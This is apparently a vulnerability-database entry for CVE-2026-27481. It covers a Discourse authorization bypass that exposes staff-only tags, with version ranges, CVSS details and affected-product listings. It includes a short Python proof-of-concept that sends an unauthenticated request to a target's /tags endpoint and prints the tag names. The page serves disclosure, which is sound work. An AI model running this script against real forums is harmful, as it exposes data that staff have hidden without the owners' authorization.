Security Vulnerability Report
中文
CVE-2026-27481 CVSS 5.3 MEDIUM

CVE-2026-27481

Published: 2026-04-03 22:16:26
Last Modified: 2026-04-22 16:02:36

Description

Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, an authorization bypass vulnerability allows unauthenticated or unauthorized users to view hidden (staff-only) tags and its associated data. All Discourse instances with tagging enabled and staff-only tag groups configured are impacted. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:* - VULNERABLE
Discourse 2026.1.0 至 2026.1.3 之前
Discourse 2026.2.0 至 2026.2.2 之前
Discourse 2026.3.0 至 2026.3.0 之前

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (replace with actual target) target_url = "http://target-discourse-instance/tags" try: # Send GET request without authentication headers # The vulnerability allows viewing staff-only tags without auth response = requests.get(target_url) if response.status_code == 200: data = response.json() # Parse and display tags, looking for hidden ones print("Tags retrieved successfully:") for tag in data.get('tags', []): print(f"Tag Name: {tag.get('name')}") else: print(f"Failed to retrieve tags. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
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